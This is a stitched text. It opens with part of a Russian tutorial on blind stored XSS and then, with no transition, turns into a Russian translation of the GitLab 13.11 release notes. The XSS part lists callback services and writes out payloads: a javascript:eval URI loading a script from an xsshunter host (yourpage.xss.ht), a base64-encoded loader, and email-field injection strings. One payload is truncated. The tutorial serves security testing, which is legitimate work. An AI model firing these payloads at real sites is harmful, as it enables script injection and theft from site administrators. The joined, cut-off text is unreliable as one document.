В первую очередь, стоит отметить, что XSS — это не уязвимость, а тип атаки на веб-системы. Он заключается во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и его взаимодействии с веб-сервером злоумышленника. Существует несколько видов XSS: хранимые, отраженные и DOM. В этой статье мы рассмотрим только хранимые XSS — именно они подходят для «пробития» целей.
Схема атаки выглядит следующим образом: атакующий размещает вредоносный пейлоад на веб-приложении, уязвимый код попадает в БД и «выстреливает» в админке проекта.
Зачастую до срабатывания пейлода атакующий не подозревает, где и когда он «выстрелит». По своему опыту могу сказать, что срабатывания пейлоада происходили от нескольких секунд до нескольких месяцев — ускорить этот процесс крайне проблематично.
Где сработает пейлоад — тоже немаловажный фактор. Нащупывание конечных точек срабатывания blind XSS сродни стрельбе пулями со смещенным центром тяжести. Порой админ-панели находятся на заковыристых поддоменах вида manage007.attacked.site либо вне тестируемого сайта, на IP-адресе типа [XXX.XXX.XXX.XXX/admin\_panel/dashboard.php](http://XXX.XXX.XXX.XXX/admin_panel/dashboard.php). Либо это может быть, например, система аналитики, находящаяся вообще вне пределов тестируемой компании.
### Endpoints
Чтобы получить «отстук» от нашего пейлоада, нам необходимо иметь внешний эндпоинт для перехвата. Для этого можно поднять свой сервис и перехватывать все обращения к нему, в т.ч. заголовки, используя приемлемый для вас язык программирования.
Либо можно воспользоваться следующими вариантами (на ваш выбор).
BurpCollaborator — специализированный внешний сервис для пользователей Burp Suite Pro:
Использовать сервисы, %name%bin, например [requestbin](https://requestbin.com):
Поднять свой собственный сервис, например, с помощью [ezXSS](https://github.com/ssl/ezXSS):
Либо использовать [xsshunter](https://xsshunter.com/) (рекомендуется для новичков) — сервис для формирования пейлоадов и получения «отстука» от сработавшего пейлоада (в том числе и на email):
Пейлоады
--------
Итак, мы нашли input-форму на сайте и хотим проверить нашу теорию о том, что в ней сработает блайнд. Для этого нам необходимо подготовить пейлоады, в том числе и для обхода защитных средств.
Сервис xsshunter предлает несолько готовых пейлоадов для эксплуатации blind XSS:
Uri payload:
```
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yourpage.xss.ht\';document.body.appendChild(a)')
```
IMG payload:
```
">
```
Часть пейлоада преобразована в base64 (dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw), что на выходе дает:
```
var a=document.createElement("script");a.src="https://yourpage.xss.ht";document.body.appendChild(a);
```
Payload в поле e-mail:
```
"'-->"@test.com
test@("'--></style></title></textarea>)test.com
("'--></style></title></textarea>
``` | https://habr.com/ru/post/450780/ | null | ru | null |
# Вышел релиз GitLab 13.11 с агентом для Kubernetes и настройкой конвейера для проверки соответствия требованиям
В прошедший День Земли мы думали о росте. Наши клиенты масштабируют свои DevOps-процессы, и с их ростом возрастает потребность в ещё большей эффективности и автоматизации контроля. [GitLab Kubernetes Agent](#gitlab-kubernetes-agent-na-gitlabcom) теперь доступен на GitLab.com, что позволит вам воспользоваться преимуществами быстрых развёртываний на вашем кластере благодаря затягиванию изменений из GitLab, в то время как GitLab.com будет управлять необходимыми серверными компонентами агента. Вы сможете настраивать для проверки соответствия требованиям [специальные конвейеры](#nastroyka-konveyera-dlya-proverki-trebovaniy) (в русской локализации GitLab «сборочные линии»), которые будут в обязательном порядке выполняться для любого проекта с назначенным набором правил, даже для [пользовательских наборов](#sozdavayte-sobstvennye-metki-naborov-pravil-po-sootvetstviyu-trebovaniyam). Кроме того, у нас есть множество фич для оценки и повышения эффективности работы конвейеров, для планирования [расписания дежурных инженеров](#upravlenie-raspisaniem-dezhurnyh-inzhenerov), а также улучшения в области безопасности. Вас ждёт более 50 крутых улучшений и новых фич в этом релизе!
Средства управления для безопасного и эффективного роста
--------------------------------------------------------
Подходящие средства управления позволяют поддерживать автоматизацию по мере роста и масштабирования вашей системы, упрощая при этом работу по соблюдению требований. [GitLab Kubernetes Agent](https://docs.gitlab.com/ee/user/clusters/agent/) является основой интеграции GitLab с Kubernetes, и [теперь он доступен на GitLab.com](#gitlab-kubernetes-agent-na-gitlabcom). Интеграция на основе агента поддерживает развёртывания на основе затягивания изменений из GitLab, что предпочтительнее с точки зрения безопасности. Благодаря этому, такая интеграция стремительно становится популярным методом в развёртываниях с Kubernetes. Наш агент также поддерживает интеграцию правил сетевой безопасности и оповещения, что позволяет осуществлять тонкую настройку [RBAC](https://ru.wikipedia.org/wiki/%D0%A3%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B4%D0%BE%D1%81%D1%82%D1%83%D0%BF%D0%BE%D0%BC_%D0%BD%D0%B0_%D0%BE%D1%81%D0%BD%D0%BE%D0%B2%D0%B5_%D1%80%D0%BE%D0%BB%D0%B5%D0%B9) в ваших кластерах.
Настройка [специальных конвейеров для проверки требований](#nastroyka-konveyera-dlya-proverki-trebovaniy) позволит вам обеспечить более высокую степень разделения обязанностей и снизить бизнес-риски благодаря созданию конвейеров, обязательных к выполнению для любого проекта, которому назначен соответствующий набор правил. В то же время [создание пользовательских наборов правил по соответствию требованиям](#sozdavayte-sobstvennye-metki-naborov-pravil-po-sootvetstviyu-trebovaniyam) предоставит вам возможность задавать свои собственные требования, помимо обычных, таких как PCI, HIPPA и другие. [Режим администрирования](#rezhim-administrirovaniya-trebuet-povtornoy-autentifikacii-dlya-vypolneniya-zadach-s-pravami-administratora) повышает безопасность и уровень контроля в вашем инстансе GitLab, требуя от администраторов подтверждения учётных данных перед выполнением команд администрирования. Отчёты для аудита тоже стали удобнее благодаря появлению в самостоятельных инстансах GitLab [экспорта данных по доступу пользователей](#eksport-otchyota-po-dostupu-polzovateley). Эта фича позволяет собрать в одном месте информацию о том, к каким группам, подгруппам и проектам имеют доступ ваши пользователи.
Более быстрые конвейеры
-----------------------
Быстрые, надёжные конвейеры — одно из основных [наших направлений](https://about.gitlab.com/direction/ops/#speedy-reliable-pipelines), и в этом месяце мы поддерживаем его, внеся целый ряд усовершенствований для конвейеров.
[Редактор конвейеров](https://docs.gitlab.com/ee/ci/pipeline_editor/) поможет вам ещё быстрее приступить к работе и поддерживать её продуктивность. [Создание пустого файла конфигурации в редакторе конвейеров](#sozdanie-fayla-nachalnoy-konfiguracii-iz-redaktora-konveyerov) позволит новым пользователям быстрее начать работу с редактором без необходимости отдельно создавать файл конвейера. Возможность настройки [нескольких ключей кэша в одном задании](#ispolzuyte-neskolko-keshey-v-odnom-zadanii) поможет увеличить производительность ваших конвейеров. Оценить эти улучшения вы сможете на панели CI/CD, где вас ждёт новый график метрики из DORA 4, [время внесения изменений](#otslezhivayte-metriku-dora-4-vremya-vneseniya-izmeneniy); на нём вы сможете отследить время, которое уходит на коммит кода и его развёртывание в продакшен. Кроме того, метрики [внедрения DevOps](#metriki-vnedreniya-devops-teper-dostupny-i-dlya-grupp) стали доступны для групп, что позволит вам проанализировать, как в вашей группе внедряются возможности DevOps от GitLab.
Обеспечение безопасности цепочки поставок ПО
--------------------------------------------
Специалисты по безопасности будут рады появлению [гибкого синтаксиса правил Semgrep](#gitlab--semgrep-obnovlyaem-sast-i-zakladyvaem-osnovu-na-buduschee) для расширения и изменения правил выявления уязвимостей, что было частым запросом от пользователей GitLab SAST. Мы также добавили поддержку [пользовательских сертификатов](#podderzhka-sertifikatov-polzovatelskih-ca-pri-ispolzovanii-release-cli) и [уведомления по электронной почте об истечении срока действия ключей](#uvedomlenie-po-elektronnoy-pochte-ob-istechenii-sroka-deystviya-klyucha-ssh). Кроме того, вы можете повысить уровень безопасности с помощью [обязательного использования SAML для Git-активности](#obyazatelnoe-ispolzovanie-saml-dlya-deystviy-git-v-gruppe). Благодаря новой фиче, [планированию расписания дежурных сотрудников](#upravlenie-raspisaniem-dezhurnyh-inzhenerov), оповещения из GitLab перенаправляются дежурному инженеру, указанному в расписании данного проекта. Это будет особенно удобно по мере [дальнейшего развития нашего направления оповещений безопасности](https://about.gitlab.com/direction/protect/#alert-dashboard-vision), поскольку предоставляет возможность управления инцидентами с полной видимостью всего процесса DevOps.
Далее вы узнаете всё о новых фичах, улучшениях производительности и других изменениях этого релиза! Чтобы узнать, что будет в следующем месяце, зайдите на страницу [предстоящих релизов](https://about.gitlab.com/direction/kickoff/) и посмотрите [видео по релизу 13.12](https://www.youtube.com/watch?v=5mTdhCuh9-I).
[Приглашаем на наши встречи](https://about.gitlab.com/events/).
[MVP](https://about.gitlab.com/community/mvp/) этого месяца — [Yogi](https://gitlab.com/yo)
-------------------------------------------------------------------------------------------
За последний месяц Yogi внёс в страницу статуса GitLab многочисленные улучшения, которые повысили производительность, отшлифовали пользовательский интерфейс и приблизили нас к нашему конечному видению этой страницы. Yogi добавил [системное уведомление в виде баннера](https://gitlab.com/gitlab-org/status-page/-/merge_requests/265), которое помогает пользователям с первого взгляда понять, произошёл ли инцидент, или все системы работают исправно. Он [адаптировал эту страницу для мобильных устройств](https://gitlab.com/gitlab-org/status-page/-/merge_requests/203), чтобы у дежурных сотрудников был более удобный интерфейс на их устройствах. Он также перевёл [инциденты и комментарии к инцидентам на компоненты vue.js](https://gitlab.com/gitlab-org/status-page/-/merge_requests/257), что поможет нам создавать более консистентный и приятый интерфейс по всему GitLab.
Yogi не в первый раз становится MVP — он также был отмечен в релизе 13.8 за более чем 30 мерж-реквестов, в которых он починил давние баги, улучшил UX и помог обеспечить согласованность нашей платформы. Спасибо, Yogi!
Основные фичи релиза GitLab 13.11
---------------------------------
### GitLab Kubernetes Agent на GitLab.com
(SaaS: PREMIUM, ULTIMATE; self-managed: PREMIUM, ULTIMATE) [Стадия цикла DevOps: Configure](https://about.gitlab.com/stages-devops-lifecycle/configure/)
GitLab Kubernetes Agent наконец-то стал доступен на GitLab.com! Используя этот агент, вы по достоинству оцените преимущества быстрых развёртываний на вашем кластере на основе затягивания изменений из GitLab, в то время как GitLab.com будет управлять необходимыми серверными компонентами агента. GitLab Kubernetes Agent — основной строительный блок для интеграции GitLab с Kubernetes. На сегодняшний день интеграция на основе агента поддерживает pull-развёртывания, правила сетевой безопасности и оповещения, а в скором времени получит поддержку и для push-развёртываний.
В отличие от устаревшей интеграции с Kubernetes на основе сертификатов, этот агент не требует от пользователя открывать свой кластер для GitLab и позволяет осуществлять тонкую RBAC-настройку доступа GitLab к вашим кластерам.
→ [Документация по GitLab Kubernetes Agent](https://docs.gitlab.com/ee/user/clusters/agent/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/249596).
### Настройка конвейера для проверки требований
(SaaS: ULTIMATE; self-managed: ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Мы рады сообщить, что теперь стало возможным создавать конвейеры, которые будут в обязательном порядке выполняться для проектов с назначенным [набором правил по соответствию требованиям](https://docs.gitlab.com/ee/user/project/settings/#compliance-framework).
Команды, желающие внедрить проверку выполнения требований в рабочий процесс конвейера, теперь могут обеспечить ещё большее разделение обязанностей, настроив единый конвейер для конкретного набора правил по соответствию требованиям. Все проекты, использующие этот набор правил, будут автоматически включать выполнение этого предопределённого конвейера. Пользователи наследуют, но не могут изменять конфигурацию конвейера в нижестоящих проектах, что гарантирует, что заданные шаги по обеспечению соответствия требованиям будут выполняться каждый раз одинаково.
Это будет экономить время командам, отвечающим за безопасность и соответствие нормативным требованиям, поскольку избавит их от необходимости вручную копировать конфигурацию конвейера в каждый проект, которому она необходима, а затем отслеживать её состояние, чтобы не допустить её редактирования или удаления. Это также поможет командам разработчиков следовать необходимым правилам, при этом не требуя от них быть экспертами в области соответствия требованиям.
Настройка конфигурации конвейера для набора правил по соответствию требованиям — это отличный способ обеспечить последовательное выполнение нормативных требований в организации, позволяя при этом сэкономить время и способствуя сотрудничеству между разработчиками и специалистами по безопасности и соответствию требованиям.
Посмотрите нашу [пошаговую видеоинструкцию](https://www.youtube.com/embed/upLJ_equomw), чтобы узнать больше о настройке и реализации такого конвейера!
→ [Документация по настройке конвейеров для проверки требований](https://docs.gitlab.com/ee/user/project/settings/#compliance-pipeline-configuration) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/3156).
### Создавайте собственные метки наборов правил по соответствию требованиям
(SaaS: PREMIUM, ULTIMATE; self-managed: PREMIUM, ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
В настоящее время GitLab предоставляет несколько [предопределённых наборов правил соответствия](https://docs.gitlab.com/ee/user/project/settings/#compliance-framework), таких как GDPR, HIPAA, PCI-DSS, SOC 2 и SOX, с соответствующими метками. С этим релизом вы можете добавлять свои собственные наборы правил и настраивать метки для ваших механизмов и процессов. В будущем вы также сможете создавать правила, которые можно будет применять к проектам на основе этих меток.
→ [Документация по пользовательским меткам наборов правил](https://docs.gitlab.com/ee/user/project/settings/#custom-compliance-frameworks) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/287779).
### Управление расписанием дежурных инженеров
(SaaS: PREMIUM, ULTIMATE; self-managed: PREMIUM, ULTIMATE) [Стадия цикла DevOps: Monitor](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
Службы поддержки программного обеспечения не уходят на отдых в конце рабочего дня. Ваши клиенты ожидают круглосуточной поддержки. Когда что-то идёт не так, вам нужна команда (или несколько команд), способная быстро и эффективно реагировать на перебои в работе сервиса.
Быть в роли дежурного может быть весьма напряжённой работой. Чтобы лучше справляться со стрессом и выгоранием, в большинстве команд обязанности дежурных сотрудников чередуются. Новая фича **расписание дежурств** в GitLab позволяет вам и вашей команде создавать и управлять расписанием дежурных инженеров. Оповещения, полученные в GitLab через конечную точку HTTP, перенаправляются дежурному инженеру в соответствии с расписанием этого конкретного проекта.
→ [Документация по расписанию дежурств](https://docs.gitlab.com/ee/operations/incident_management/oncall_schedules.html) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/4544).
### Режим администрирования требует повторной аутентификации для выполнения задач с правами администратора
(self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
В GitLab появился режим администрирования, который поможет администраторам работать безопасно со своего аккаунта. Когда этот режим не активен, у администраторов права такие же, как у обычных пользователей; чтобы запускать команды с правами администратора, потребуется войти в режим администрирования, повторно введя пароль. Режим администрирования повышает безопасность инстанса, защищая конфиденциальные операции и данные.
За эту фичу мы благодарим Diego Louzán из Siemens. Режим администрирования не появился бы без неустанных усилий Diego. Эта фича была в разработке целый год!
→ [Документация по режиму администрирования](https://docs.gitlab.com/ee/user/admin_area/settings/sign_in_restrictions.html#admin-mode) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/2158).
### Экспорт отчёта по доступу пользователей
(self-managed: PREMIUM, ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Организации, следящие за соблюдением требований, постоянно нуждаются в аудите доступа своих пользователей к системам и ресурсам компании. Ранее для выполнения этой задачи в GitLab требовалось создавать собственные инструменты для ручного сбора необходимых данных с помощью наших [API, связанных с аудитом](https://docs.gitlab.com/ee/administration/audit_reports.html#apis).
Теперь же вы можете просто нажать кнопку `export` в разделе администрирования вашего инстанса GitLab, и получить CSV-файл, содержащий список всех пользователей, а также групп, подгрупп и проектов, к которым они имеют доступ. Теперь проводить аудит доступа пользователей стало намного проще и гораздо быстрее.
→ [Документация по экспорту отчёта по доступу пользователей](https://docs.gitlab.com/ee/user/admin_area/#user-permission-export) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/1772).
### Используйте несколько кэшей в одном задании
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Verify](https://about.gitlab.com/stages-devops-lifecycle/verify/)
GitLab CI/CD предоставляет механизм кэширования, который экономит ваше время разработки во время выполнения заданий. Однако, ранее было невозможно настроить несколько ключей кэширования в одном задании. Это ограничение могло вынудить вас использовать артефакты для кэширования или же использовать дублирующиеся задания с разными путями для кэша. В этом релизе мы предоставляем возможность настраивать несколько ключей кэширования в одном задании, что поможет вам повысить производительность конвейера.
→ [Документация по настройке нескольких ключей кэширования для задания](https://docs.gitlab.com/ee/ci/yaml/README.html#multiple-caches) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/32814).
### Отслеживайте метрику DORA 4: время внесения изменений
(SaaS: ULTIMATE; self-managed: ULTIMATE) [Стадия цикла DevOps: Release](https://about.gitlab.com/stages-devops-lifecycle/release/)
Измерение эффективности цикла разработки программного обеспечения — важный шаг для повышения степени внедрения DevOps в любой организации. В прошлом релизе мы добавили в API поддержку [учёта времени, необходимого для внесения изменений](https://docs.gitlab.com/ee/api/dora/metrics.html#get-project-level-dora-metrics) в проектах. Эти метрики дают вам представление о пропускной способности в вашем проекте — о том, сколько времени требуется для коммита и развёртывания кода в ваше продакшен-окружение.
→ [Документация по графикам времени внесения изменений](https://docs.gitlab.com/ee/user/analytics/ci_cd_analytics.html#lead-time-charts) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/250329).
### GitLab + Semgrep: обновляем SAST и закладываем основу на будущее
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Secure](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Исторически в основе SAST (Static application security testing, Статическое тестирование безопасности приложений) в GitLab лежали [более десятка различных статических анализаторов безопасности с открытым исходным кодом](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks). Эти анализаторы каждый месяц выявляли миллионы уязвимостей. Каждый из этих анализаторов специфичен для конкретного языка и имеет собственные подходы к сканированию. Такие различия приводят к излишним затратам на обновление, управление и поддержку [дополнительных фич](https://docs.gitlab.com/ee/user/application_security/sast/analyzers.html#sast-analyzer-features), которые мы разрабатываем поверх этих инструментов, и могут сбить с толку любого, кто попытается заняться отладкой.
Команда статического анализа GitLab постоянно оценивает новые анализаторы безопасности. Нас впечатлил [Semgrep](https://semgrep.dev/), относительно новый инструмент с открытым исходным кодом от команды разработчиков из [r2c](https://r2c.dev). Это быстрый инструмент статического анализа для поиска ошибок и обеспечения стандартов разработки кода. Правила Semgrep выглядят как код, который вы хотели бы видеть: вы можете писать свои собственные правила без необходимости понимать абстрактные синтаксические деревья или разбираться с регулярными выражениями.
Гибкий синтаксис правил Semgrep идеально подходит для оптимизации нашей фичи [Пользовательские наборы правил](https://docs.gitlab.com/ee/user/application_security/sast/#customize-rulesets) для расширения и изменения правил выявления уязвимостей, что было частым запросом от пользователей GitLab SAST. Semgrep также располагает растущим открытым реестром из более чем 1000 [правил, добавленных сообществом](https://semgrep.dev/explore).
Сейчас мы находимся в процессе перевода многих наших lint-анализаторов SAST на Semgrep. Это поможет повысить стабильность и производительность анализаторов, увеличить их покрытие и предоставить клиентам GitLab доступ к открытым правилам в Semgrep и дополнительным возможностям пользовательских наборов правил, которые мы уже скоро добавим. Мы получили огромное удовольствие от работы с командой r2c и с нетерпением ждём перехода других наших анализаторов на Semgrep. Вы можете узнать все подробности в нашем [эпике по переходу на Semgrep](https://gitlab.com/groups/gitlab-org/-/epics/5245) или самостоятельно попробовать первые экспериментальные анализаторы Semgrep для [JavaScript, TypeScript и Python](#eksperimentalnye-analizatory-semgrep-dlya-python-javascript-i-typescript).
Мы уверены в том, что этот переход много значит для будущего SAST в GitLab и сообщества Semgrep. GitLab будет вносить свой вклад в [открытый код проекта Semgrep](https://github.com/returntocorp/semgrep), в том числе дополнительные правила для обеспечения такого же или даже большего покрытия, чем у наших текущих анализаторов.
→ [Документация по поддерживаемым языкам и фреймворкам в GitLab SAST](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/5245).
### Поддержка сертификатов пользовательских CA при использовании release CLI
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Release](https://about.gitlab.com/stages-devops-lifecycle/release/)
До этого момента, если вы работали с GitLab в собственном инстансе, вы могли использовать [release CLI](https://gitlab.com/gitlab-org/release-cli) с публичным сертификатом, но не с собственным пользовательским сертификатом. В GitLab 13.11 мы добавили поддержку сертификатов пользовательских центров сертификации (Certificate authority, CA) с помощью переменной окружения `ADDITIONAL_CA_CERT_BUNDLE` или флага `--additional-ca-cert-bundle`. Кроме того, были добавлены переменная окружения `INSECURE_HTTPS` и флаг `--insecure-https`, чтобы вы могли пропустить проверку сертификатов сервера, которая обычно не проходит с пользовательским SSL-сертификатом, поскольку он не подписан публичным центром сертификации.
→ [Документация по использованию сертификатов пользовательских CA](https://docs.gitlab.com/ee/ci/yaml/README.html#use-a-custom-ssl-ca-certificate-authority) и [оригинальный тикет](https://gitlab.com/gitlab-org/release-cli/-/issues/93).
### Шаблоны описания тикетов и мерж-реквестов на уровне инстанса и группы
(SaaS: PREMIUM, ULTIMATE; self-managed: PREMIUM, ULTIMATE) [Стадия цикла DevOps: Plan](https://about.gitlab.com/stages-devops-lifecycle/plan/)
Вместо того, чтобы вручную обновлять один и тот же [шаблон описания](https://docs.gitlab.com/ee/user/project/description_templates.html) в десятках проектов, теперь вы можете централизованно управлять шаблонами из единого репозитория. Мы дополнили шаблоны файлов [инстанса](https://docs.gitlab.com/ee/user/admin_area/settings/instance_template_repository.html) и [групп](https://docs.gitlab.com/ee/user/group/#group-file-templates), добавив шаблоны описания тикетов и мерж-реквестов (в русской локализации GitLab «запросы на слияние»). После создания каталога `.gitlab` в репозитории файлов с шаблонами, шаблоны описания будут доступны всем проектам, принадлежащим данному инстансу или группе. Каждая группа или подгруппа также может задать дополнительный репозиторий для шаблонов, что позволит вашим подгруппам и проектам иметь доступ к шаблонам из нескольких репозиториев.
→ [Документация по настройке шаблонов описания](https://docs.gitlab.com/ee/user/project/description_templates.html#set-group-level-description-templates) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/7749).
### Совместное использование ключевых слов needs и optional для DAG-заданий
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Verify](https://about.gitlab.com/stages-devops-lifecycle/verify/)
Направленные ациклические графы (Directed acyclic graph, DAG) в GitLab CI/CD позволяют вам использовать синтаксис `needs` для настройки запуска задания раньше его стадии, как только завершатся необходимые задания. Также есть ключевые слова `rules`, `only` и `except`, которые определяют, будет ли вообще задание добавлено на конвейер. К сожалению, если вы используете `needs` вместе с другими ключевыми словами, ваш конвейер может завершиться с ошибкой, если необходимое задание не было добавлено на конвейер.
В этом релизе мы добавляем ключевое слово `optional` в синтаксис `needs` для DAG-заданий. Если необходимое задание отмечено как опциональное, но не присутствует на конвейере, задание с `needs` проигнорирует его. Если же опциональное задание присутствует на конвейере, задание с `needs` будет ждать, пока оно завершится. Популярность направленных ациклических графов растёт, и эта фича упрощает безопасное комбинирование ключевых слов `rules`, `only` и `except`.
→ [Документация по совместному использованию optional и needs](https://docs.gitlab.com/ee/ci/yaml/README.html#optional-needs) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/30680).
### Переменные для разных окружений в группе
(SaaS: PREMIUM, ULTIMATE; self-managed: PREMIUM, ULTIMATE) [Стадия цикла DevOps: Configure](https://about.gitlab.com/stages-devops-lifecycle/configure/)
Многие организации предпочитают задавать секретные ключи и другие переменные окружения на уровне группы, так как это хорошо согласуется с границами и уровнями доверия команд. До сих пор групповые переменные окружения применялись ко всем окружениям, что ограничивало возможности их использования во многих сценариях. В этом релизе мы добавляем возможность создавать специфичные для окружений переменные на уровне группы.
Это изменение дополняет похожую фичу на уровне проекта. С этого момента мейнтейнеры группы (в русской локализации GitLab «сопровождающие») смогут выбирать окружения, в которых будет использоваться определённая переменная.
→ [Документация по переменным CI/CD на уровне группы](https://docs.gitlab.com/ee/ci/variables/README.html#group-cicd-variables) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/2874).
### Запрос CVE ID уязвимости через интерфейс GitLab
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Secure](https://about.gitlab.com/stages-devops-lifecycle/secure/)
GitLab верит, что команды ответственно подходят к раскрытию уязвимостей программного обеспечения. С начала 2020 года GitLab выполняет функции [CVE Numbering Authority (CNA)](https://cve.mitre.org/cve/cna.html) и может предоставлять специалистам по безопасности и поставщикам IT-продуктов [идентификаторы CVE](https://cve.mitre.org/cve/identifiers/index.html) либо из самого GitLab, либо из любого проекта, размещённого на GitLab.com.
В GitLab 13.11 мы упрощаем [запрос идентификаторов CVE у GitLab через наш пользовательский интерфейс](https://docs.gitlab.com/ee/user/application_security/cve_id_request.html#cve-id-requests). В конфиденциальных тикетах в публичных проектах, размещённых на GitLab.com, у мейнтейнеров будет возможность запрашивать идентификатор CVE нажатием кнопки «Запросить идентификатор CVE» на боковой панели справа. После нажатия кнопки вы попадёте на страницу нового тикета для проекта GitLab CVE, где вы сможете заполнить шаблон запроса и запустить его выполнение.
Эту фичу также можно отключить на странице настроек проекта, если владелец проекта не хочет, чтобы его репозитории предлагали эту возможность мейнтейнерам. В настоящее время мы постепенно внедряем эту функцию в проекты, размещённые на GitLab.com. Загляните в специальный [тикет по прогрессу развёртывания](https://gitlab.com/gitlab-org/gitlab/-/issues/299569), чтобы узнать информацию об обновлениях или оставить обратную связь.
→ [Документация по запросам ID из CVE](https://docs.gitlab.com/ee/user/application_security/cve_id_request.html#cve-id-requests) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/299569).
### Развёртывание GitLab в OpenShift и Kubernetes с помощью оператора GitLab (бета-версия)
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Доступность](https://about.gitlab.com/handbook/engineering/development/enablement)
GitLab работает над тем, чтобы предоставлять полную поддержку платформы OpenShift. Мы выпускаем MVP [GitLab Operator](https://gitlab.com/gitlab-org/gl-openshift/gitlab-operator/-/tree/master/doc), предназначенного для управления полным жизненным циклом инстансов GitLab на контейнерных платформах Kubernetes и OpenShift. В настоящее время оператор работает как [бета-версия](https://gitlab.com/groups/gitlab-org/-/epics/3444) и **не рекомендуется для использования в продакшене**. Следующим шагом мы планируем вывести этот оператор в общий доступ; в будущем он станет рекомендуемым способом установки GitLab для Kubernetes и OpenShift, хотя GitLab Helm chart по-прежнему будет поддерживаться. Мы приглашаем вас попробовать GitLab Operator и оставить отзыв о нём [в специальном тикете](https://gitlab.com/gitlab-org/gl-openshift/gitlab-operator/-/issues/131).
→ [Документация по оператору GitLab](https://gitlab.com/gitlab-org/gl-openshift/gitlab-operator/-/tree/master/doc) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/3444).
Другие улучшения в GitLab 13.11
-------------------------------
### События аудита теперь доступны для Developer+
(SaaS: PREMIUM, ULTIMATE; self-managed: PREMIUM, ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Логи аудита — это один из важнейших элементов системы для организаций, следящих за соблюдением требований, и для их программ по соответствию требованиям. Они позволяют отслеживать активность пользователей и системную активность, что помогает устранять инциденты, находить ответственных за конкретное действие, а также позволяет организациям собирать артефакты со сведениями для аудиторов конкретных процессов. Ранее только мейнтейнеры, владельцы кода и администраторы имели доступ к разделу [**Аудит событий**](https://docs.gitlab.com/ee/administration/audit_events.html#audit-events). Остальные пользователи даже не знали о существовании этих логов и не имели доступа к просмотру своей собственной активности, не говоря уже о том, чтобы поддерживать соблюдение требований в своей организации.
Раздел **Безопасность и комплаенс > Аудит событий** (Security & Compliance > Audit Events) теперь доступен пользователям с уровнем доступа разработчика и выше. Пользователи с уровнем доступа разработчика смогут видеть только свои собственные действия, но не действия других пользователей. Пользователи с уровнем доступа мейнтейнера и выше, как и раньше, будут видеть и свои собственные действия, и действия других пользователей. Это изменение делает данные аудита доступными для большего числа пользователей и помогает им в соответствии требованиям.
→ [Документация по событиям аудита](https://docs.gitlab.com/ee/administration/audit_events.html#audit-events) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/257514).
### Ключи GPG доступны в реестре учётных данных администратора
(SaaS: ULTIMATE; self-managed: ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
В панели администратора стало возможным просматривать информацию по ключам GPG ваших пользователей. Это позволит вам быстро увидеть, какие ключи хранятся в GitLab, а также их идентификаторы и статус верификации, что поможет лучше разобраться в том, как пользователи взаимодействуют с вашим инстансом GitLab.
Это часть наших усилий по созданию [реестра учётных данных](https://docs.gitlab.com/ee/user/admin_area/credentials_inventory.html#credentials-inventory). Мы запланировали [много итераций](https://gitlab.com/groups/gitlab-org/-/epics/4110), чтобы повысить прозрачность, уровень контроля и ценность для вас и ваших организаций. Мы будем рады вашему фидбэку в соответствующих эпиках и тикетах.
→ [Документация по просмотру существующих ключей GPG](https://docs.gitlab.com/ee/user/admin_area/credentials_inventory.html#review-existing-gpg-keys) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/282429).
### Регистрация приложений OAuth на уровне группы
(SaaS: FREE, PREMIUM, ULTIMATE; self-managed: FREE, PREMIUM, ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
